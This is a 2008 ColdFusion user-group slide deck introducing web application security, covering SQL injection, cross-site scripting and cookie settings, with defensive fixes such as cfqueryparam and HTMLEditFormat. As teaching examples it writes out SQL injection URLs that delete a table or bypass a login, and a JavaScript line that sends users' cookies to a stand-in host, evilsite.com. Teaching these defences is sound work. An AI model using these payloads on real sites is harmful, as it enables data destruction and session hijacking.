500 likes | 514 Views
August 6th, 2008 Jason Dean http://www.12robots.com. Twin Cities ColdFusion User Group Intro to Application Security. Who am I?. Web Application Developer with the Minnesota Department of Health (MDH) Chairperson and User Group Manager of the MDH ColdFusion User Group
E N D
August 6th, 2008 Jason Dean http://www.12robots.com Twin Cities ColdFusion User GroupIntro to Application Security
Who am I? • Web Application Developer with the Minnesota Department of Health (MDH) • Chairperson and User Group Manager of the MDH ColdFusion User Group • ColdFusion Blogger (Like who isn't?) • http://www.12robots.com • Veteran of the U.S. Coast Guard • Volunteer Web Developer with the Minnesota Valley Humane Society
Measures taken to prevent the exploitation of an application or the system that runs the application through defects in the design, development or deployment of the application What is Application Security?
If you have to ask, then it is not. How do I know if my application is secure?
So how do I make my application secure? • Know what your assets are • Understand the threats • Discovery vulnerabilities • Attack you own application • Create countermeasures
Determine assets? • You can't protect your application until you know what you need to protect • All assets need some protection • Different asset types need protection at different levels • Consider ALL assets, don't forget those that may seem unimportant
Understand the Threats • Know how your assets can be exploited • Learn about the different types of attacks • Stay informed about threats by monitoring AppSec websites, expert blogs and vendor announcements • Discuss threats with others to better understand them
Discover Vulnerabilities • Review your code for known vulnerabilities: Missing <cfqueryparams /> or unescaped input or output from users, etc • Have a formal code review with your peers. Look at the code, discuss how it could be exploited • If possible, show the source to the community and ask for input • If needed, hire an expert
Attack your Application • Attack your own application with attacks that exploit the vulnerabilities you discovered. • Try to think like a hacker. Hit your site with common vulnerability attacks. • Log your activity so that you can reproduce it later • Use automated tools for security testing, but do not rely solely on them
Create Countermeasures • Countermeasures are used to used to prevent potential exploits • Many are Out-Of-The-Box features that just need to be used properly • Others need to be designed and built with a specific purpose in mind • All counter measures need to be thoroughly tested and retested • Countermeasures can have exploits of their own, so their code needs to be reviewed as well. • Once a countermeasure is “certified” it should not be changed, unless an exploit is found. And then it should be “recertified”
So W hat are our Assets? • Source Code Files • Databases • System Files • Servers • Image Files • Flash Files • Configuration Files • DATA!!! (Usernames, Passwords, SSNs, DOBs, Names, Addresses)
The Advanced Session Management Attacks Authorization/Authentication Request Forgeries (on-site and cross-site) Exception Management Cryptography Parameter Manipulation Auditing and Logging The Beyond our Control Web Server Exploits Application Server Exploits Server configuration problems What are the threats/attacks? • The basics • SQL Injection • Cross-Site Scripting XSS • Cookie Misuse/Exploits • Access Control Attacks • Input Validation Exploits • File Uploads • The less obvious • Ignorance • Assumptions • Laziness • Internal threats
What are we going to talk about? • The Basic: • SQL Injection • XSS • Cookies • The less obvious: • Ignorance • Assumptions • Laziness We will not be discussing some of the basic topics, the advanced topics, or the topics beyond our control in this presentation, some will be covered in part II, others, maybe in a part III. We’ll see how well this is received.
The Less Obvious Threats: Ignorance, Assumptions and Laziness • Sound really bad, don’t they? • That’s cause they are • Three greatest threats to your Application Security • Being a responsible developer means avoiding these dangers
Ignorance • I’m not trying to call anyone “Ignorant” as an insult. It is a fact we are all ignorant of some things • I am ignorant of Advanced Trigonometry, Marsupial Anatomy, and how sunblock works • As developers we cannot afford to be ignorant of our assets, vulnerabilities, and threats. • Just as in the law, ignorance is not an excuse for poor security, if you don’t want to become a scapegoat, then you need to stay on top of the threats
Assumptions • A developer’s worst enemy • I’m talking about assumptions that the developer makes. • About users • About hackers’ interest • About how the application will be accessed and used • About the Administrator/Host • About how the server/environment works
Assumptions about users • Do not assume a certain level of knowledge about your users. Just because your site caters to the local quilting club does not mean it won’t get hacked • Do assume that users will not misuse your application, more on this in a bit • Do not assume your users are capable of entering the information you asked for correctly the first time • Yes, that’s right. You have to assume that your users are HaX0r GeN!u$ and drooling sheep at the same time.
Assumptions about Hacker Interest • So you don’t think that hackers would have any interest in your site, so you don’t need to protect it? Think again. • Hackers enjoy vandalism, doesn’t matter against whom • Hackers want personal information for identity theft, again, doesn’t matter who • Do you know for a fact that there is not a famous person, senator, governor, presidential candidate or some other personage of historical significance or fame using your site? You may get hacked for that alone.
Assumptions about how your application will be used • Do not assume that your users will use your site as you intended • They will bookmark pages to which you would rather they navigate • They will enter letters into a number field • They will leave fields blank • They will click on things they should not • They will double click on things they should single click on • They will leave the computer for 3 hours, come back and hit submit and expect everything to work correctly • They WILL NOT click the logout button • They will not close their browser • And anything you can imagine they will get wrong, they will
Assumptions about how your application will be used (cont) • More importantly, your hackers will not use the application as you intended • They will try to bypass your access controls • They will try to inject code into anything they can find, login boxes, comment field, form captures, URL strings, etc. • They will enter common access control parameters into the URL string (e.g. admin=true, user=admin, etc) • They will try to pass in a thousands and thousands of session tokens hoping to hit on a god one • They will try to access, change, or delete your data with SQL injection attacks • They will use automated attack tools against your application • And anything else you can imagine
Assumptions about administrator/host • Don’t assume that your administrator has everything configured correctly for a secure environment. • If you are using a specific feature that requires a setting on the server, make sure it is enabled • Work with the administrators to eliminate security threats/attacks • Review the configuration of the server to see if it works as you are expecting • Control what you can at the application level so that if they make changes to the server, your application is not affected • Talk to them about security, if it seems they don’t understand, or don’t care, find another host/admin or hire a security consultant
Assumptions about how the server/environment work • Your “secret” URLs are NOT secret • The “firewall” will NOT protect your application • Google WILL index your secret pages if it can find a link to them • The web server WILL log your passwords if you pass them in the URL string • Do not assume that Intranet applications cannot or will not be hacked • Do not assume that internal traffic is safe • Obfuscation is NOT security • “Hidden” fields are not really hidden • JavaScript is NOT secure and can be easily read and turned off • Any files on the public side of the web root can be accessed with a direct URL unless specific controls are in place. So you cannot “hide” something in a “secret” folder.
Laziness A Lazy Developer is a Good Developer Unless the Developer: • Doesn’t take time to scope variables • Doesn’t make the extra effort to properly test for security concerns • Doesn’t make the time for a code review • Lets things slide because they are too hard, would require too much research, or don’t seem necessary • Uses the excuse, “I don’t have enough time to add that much security” Remember to follow the best practices, even if they add extra development time. They will save you time, and money, later
The Basic Threats • SQL Injection • Cross-Site Scripting XSS • Cookie Misuse/Exploits
SQL Injection • Can be used to obtain, change, or destroy data • Can be used to execute system commands • Is one of the easiest attacks to perform • Is also one of the easiest attack to prevent • Can be done against any DBMS
SQL Injection Examples • If an application accesses data based on information passed in from a user, via URL or Form Field, code can be “injected” http://www.12robots.com/?userid=20 • Would become: http://www.12robots.com/?userid=20;%20DELETE%20FROM%20customers;--
SQL Injection Examples (cont) So what does this mean? Parameters on the URL string or in a form field will sometimes be used as part of a SQL statement. For example, the URL: http://www.12robots.com/?userid=20 Would probably be used in a ColdFusion query like this: <cfqueryname="qMyQuery"datasource="myDSN"> SELECT username, firstname FROM users WHERE userid = #url.userid# </cfquery> Where #url.userid# would be replaced with the number 20
SQL Injection Examples (cont) Well, what would happen if someone add some code to the end of your URL string? http://www.12robots.com/?userid=20;%20DELETE%20FROM%20customers;-- Now, when the URL parameter “userid” is added to the <cfquery> statement, it will look like this: <cfqueryname="qMyQuery"datasource="myDSN"> SELECT username, firstname FROM users WHERE userid = #url.userid#; DELETEFROM customers;-- </cfquery> • The first semicolon will end the SELECT statement, which allows the DELETE statement that was injected to run normally. • The %20 is URL encoded text representing a space. • And the “--” at the end is a SQL comment indicator, which comments out all of the SQL after this point.
SQL Injection Examples (cont) Example where the database will return more data than the developer would like: • http://www.12robots.com/?userid=1303%20OR%201=1;-- Now, when the URL parameter “userid” is added to the <cfquery> statement, it will look like this: <cfqueryname="qMyQuery"datasource="myDSN"> SELECT username, firstname FROM users WHERE userid = 1303 OR1=1;-- </cfquery> In this case, the WHERE clause is being extended to also include any record where 1 is equal to 1. Well, 1 is ALWAYS equal to 1, so it will reurn every record in the USERS table. NOTE: In a situation like this, chances are that even though the query will return more than one record, the action calling the query will only use one record. That will be the first record it finds, which of course it usually…… wait for it…….. The Administrator account.
SQL Injection Examples (cont) • This was only a very basic example, do not think that you can completely stop SQL injection by only allowing 1 SQL statement per query. That can be worked around. • This particular example, of course, would only work if there is a customer table. But there is nothing stopping the hacker from trying repeatedly with common table names • If you do not handle your site errors properly, it is possible for hackers to glean table and column names from error messages • Techniques like this can also be used to • Get more data than you would normally provide • To destroy data • To inject new data into the database that may be simple vandalism or may be phishing schemes using Cross-Site Scripting (XSS) that would be perpetrated from your web site and much, much more.
How do we stop SQL Injection attacks? • Most SQL injection attacks can be stopped by using the <cfqueryparam> tag in <cfquery> • <cfqueryparam> creates “Bind Variables” that are used to optimize performance on repeat queries and to verify data types on all queries • So if you tried to pass in ?userid=1303%20OR%201=1;-- • It would treat everything from the 1303 all the way to the “--” as a single unit. And if your <cfqueryparam> stated that it was expecting a numeric data type, it would throw an error and the SQL would not be executed
SQL Injection Example (cont) • <cfqueryparam> also escapes single quotes in strings so they cannot be used to prematurely end a string and inject SQL followed by a comment “--” • So if you had a URL for logging in that looked like: • http://www.12robots.com/?username=Jason&password=myPass I know we don’t send passwords in the URL, this is a demo, this would work just as well in a form field Your hacker might try this • http://www.12robots.com/?username=Jason%27--%password=noPass • The %27 is the URL encoded representation for a single quote, and the “--” is the SQL comment indicator. So instead of your WHERE clause looking like: • WHERE username = ‘jason’ AND password = ‘myPass’ It would look like: • WHERE username = ‘jason\’-- ’ AND password = ‘myPass’ • But with <cfqueryparam> in use, the where clause would look like this: • WHERE username = ‘jason%27--‘ AND password = ‘myPass’ • And it would not return any record, since username jason%27-- probably does not exist.
<cfqueryparam> in use <cfqueryparam> on an Integer <cfqueryname="qMyQuery"datasource="myDSN"> SELECT username, firstname FROM users WHERE userid = <cfqueryparamvalue="#url.userid#"cfsqltype="cf_sql_integer"> </cfquery> OR <cfqueryparam> on an String <cfqueryname="qMyQuery"datasource="myDSN"> SELECT username, firstname FROM users WHERE userid = <cfqueryparamvalue="#url.username#"cfsqltype="cf_sql_varchar"> </cfquery>
What about other Dynamic Elements in SQL? • That’s right! You can’t use <cfquerparam> in a ORDER BY statement, or in a list of table columns, or in a list of database tables. So what do we do? • There are probably several ways to hande this. My preference it to dynamically apply static output. • For example, you may have a dynamic query that looks like this: <cfqueryname="qMyQuery"datasource="myDSN"> SELECT username, firstname FROM users ORDERBY username #sortOrder# </cfquery> • This type of query is exploitable by SQL Injection. • Now, I know that the only two options that should be allowed here are ‘ASC’ and ‘DESC’. So I am just not going to allow anything else: <cfquery name="qMyQuery" datasource="myDSN"> SELECT username, firstname FROM users ORDERBY username <cfif sortOrder EQ "ASC">ASC<cfesle>DESC</cfif> </cfquery> • It may be possible to do something similar with Dynamic Table Names and Column names, depending on your needs
Cross-Site Scripting (XSS) • Is also a type of “Injection” attack • Is used by one user to “attack” another • Can be used for session hijacking, page redirection, phishing, bypassing access controls, and other types of nefarious activities • Can be implemented anywhere a user is allowed to enter data that will later be view by other users, like blog comments or forum posts. • Is implemented by a user who enters scripts (usually Javascript) into a text entry field on a web application or directly into a URL that is emailed or IM, etc. Later when that entry is viewed by another user, the script is executed.
Cross-Site Scripting (XSS) XSS Vulnerabilities come in 3 flavors: • DOM-Based (Type 0) • A DOM-Based XSS vulnerability is exploited through pages that, somehow, exist on the local machine of the victim, placed there through Social Engineering or other means. We will not be discussing this type of exploit today. • Non-Persistent (Type 1) • Non-persistent vulnerabilities are the most common to be exploited by XSS attacks. The vulnerability exists when information sent to a page is immediately used on the receiving page without being properly prepared for display. This can be destructive through the use of manipulation to convince other users to click on links that will send code to a vulnerable page that will then perform actions on the victims behalf. • Persistent (Type 2) • Persistent XSS is, as the name suggests, an attack that is implemented and then lasts until it is removed. It is generally deployed through the use of a web form, SQL Injection, or some other means of injecting a script into the content of a web applications for others to view, and subsequently execute.
XSS Example • You have a comments text box, like so: • And some joker decides to inject some Javascript: • Then when someone views the page that displays that comment, they get:
XSS Example • Now, this (seemingly harmless) script would be nothing more than vandalism. • In the eyes of your end users this represents a huge security hole • Word would spread quickly that your site had been hacked.
XSS Uses • Cross-Site Scripting can be used for much worse things then displaying an Alert window. • The following line will send all of your user’s cookie information to another site: • document.location=”http://www.evilsite.com?cookie=” + document.cookie; • Once the other site receives your user's cookie, they can use the information to hijack the user’s session
XSS iFrame Example • Another example is the Frame Attack where the hacker “injects” an iFrame into the comment field: • When another user views the output of that comment later, they will see a form prompting for their user/pass, if they enter and hit “submit” the form will be posted to the evil site.
XSS Prevention So how do we protect against this type of attack? • Turn on script protection • Use HTMLEditFormat() on all of your user generated output • User Input validation • You could also try “detecting” injected code using onRequestStart() and some clever RegEx
ColdFusion Script Protect • Can be turned on in the Administrator with a simple checkbox • Can be added or disabled per-application in the Application.cfc • Will look for specific tags, like: <script>, <meta>, <object>, <embed>, and <applet> and replace them with <InvalidTag> if they are found in the FORM, URL, CGI, or COOKIE scopes. Does not Protect against iFrame injection or JavaScript used in <a> tags. • Will not protect against every type of XSS exploit • To enable Global Script Protection: • Go to you ColdFusion Administrator • Go into the Server Settings section on the left • Under "settings" you will find the check box "Enable Global Script Protection". Check it • Click "Submit Changes" • To enable Per-Application Script Protection: • Go to the Application.cfc file for the application • In the pseudo-constructor area add the line <cfset this.scriptprotect="all"> • You can also add a list of scopes to check if you don’t want to check them all
HTMLEditFormat() Function • Should be used on content that was created by users. It should be used either prior to inserting user input into the DB or after it is retrieved from the DB for display. I prefer the latter. • Will turn your hackers malicious Javascript input from: • <script type=”text/javascript”>alert('Hacked!');</script> • Into Harmless HTML Character entities: • <script type=”text/javascript”>alert('Hacked!');</script> • In some cases, it may be too effective. • If you want users to be able to use some HTML elements in their input, they will be unable This: This is <strong>Bold Text</strong> Would become: This is <strong>Bold Text</strong> And when displayed: This is <strong>Bold Text</strong> Instead of like: This is Bold Text
Input Validation • Input validation can be used to avert XSS attacks (And SQL injection for that matter) • Using functions like IsNumeric() can help keep JavaScript and SQL out of fields that should be numeric • Len() can be used to determine if a field was submitted with a value that was longer than intended. Remember that <input maxlength=””/ > is enforced at the client, which means it cannot be trusted • REReplace() and REReplaceNoCase() can be used to simulate or enhance the features of Script Protection • Be careful not to restrict too much. Especially if you want your users to be able to post or comment about technical concepts. I know it is a pain for me, sometimes, even trying to blog about concepts with Script Protection on.
Cookie Security Pop Quiz, HotShot • How many parameters can a cookie accept? • What are they? • Cookie Parameters • Name (String) • Value (String) • Expires (DateTime) • Path (String) • Domain (String) • Secure (Boolean) • What about the HTTPOnly Parameter? • Do cookies store any important data? • Should they?
Cookie Security • Name and Value – Pretty self-explanatory. Name is the name of the cookie, value is the value stored in that cookie. What you put in that value can be a security concern (i.e. passwords, SSN, CC numbers, etc), but the cookie name and value themselves do not have security concerns • Expires – This value definitely carries a security concern with it, especially for session management cookies or any cookie that could be used to impersonate another user. • Path – The path to which a cookie applies within a domain. The cookie can only be used by pages within the specified path. If set, a domain must also be set. Default is for all pages on the domain that set the cookie to be able to access it. • Domain – The domain to which the cookie applies. Must start with a period. Example: domain=“.12robots.com”. Only the specified domain can access the cookie. By default, the domain that set the cookie will be used. • Secure – If set to “True” the cookie will only be submitted to the server over an SSL connection. No SLL, no cookie • HTTPOnly – This feature is new to browsers (IE6+ and FF 2.0.0.5+). It is a flag that tells the browser to only submit the cookie via HTTP requests, which means it cannot be access via JavaScript
Cookie Security Security Concerns with Path and Domain Parameters • Path and Domain are often overlooked as a security concern. In some environments they can safely be left to default, but in others, that can be bad • So what's wrong with leaving the defaults for Path and Domain? Why would I want to specify anything other than my domain for the domain or “/” for the path? • Let's say you had an awesome website for bloggers. When a new blogger signs up, they get their own custom subdomain. Example: 12robots.awesomecfbloggers.com • Well, depending on at what point the new blogger authenticates and the cookie is set, the cookie may be for the domain=”.awesomecfbloggers.com” is we leave it as the default. • Whenever a blogger from that site goes to another blog on that site, their site cookies are sent to it. • A malicious user could create a new account called hackers.awesomecfbloggers.com then add code to log the sessionid of any cookie that is passed to it. Then send invites to the other bloggers on the same site. When the other bloggers visit, if they have current cookies for awesomecfbloggers.com, they will automatically be sent to the hacker site. Then the hacker can use those sessionid values for session hijacking. • The same thing applies to the Path value in the cookie. • Let's say the awesomecfbloggers.com site was set up differently. The 12robots blog can be found at http://www.awesomecfbloggers.com/12robots and the hacker site can be found at http://www.awesomecfbloggers.com/hackers, same issue.
Cookie Security Setting the HTTPOnly Flag • ColdFusion's <cfcookie> tag does not support the HTTPOnly flag yet • To set the HTTPOnly flag you need to use <cfheader> • <cfheadername="Set-Cookie"value="firstname=Jason;HttpOnly"> • Unfortunately, I have not yet found a way to make a session cookie an HTTPOnly cookie
Questions? • Please ask your questions now • Or feel free to contact me Jason Dean jason@12robots.com http://www.12robots.com AIM: IZB Jason Google Chat: deanj200
Resources • http://livedocs.adobe.com/coldfusion/8/htmldocs/help.html?content=Tags_c_12.html • http://en.wikipedia.org/wiki/Cross-site_scripting • http://www.sans.org/top20/#s1 • http://www.petefreitag.com/item/644.cfm • http://www.petefreitag.com/item/362.cfm • http://www.webopedia.com/DidYouKnow/Internet/2002/Cookies.asp • http://www.aliaspooryorik.com/blog/index.cfm/e/posts.details/post/protecting-your-applications-cfug-presentation-115 • http://www.coldfusionmuse.com/index.cfm/2008/7/21/SQL-injection-using-order-by • http://www.sans.org/top20/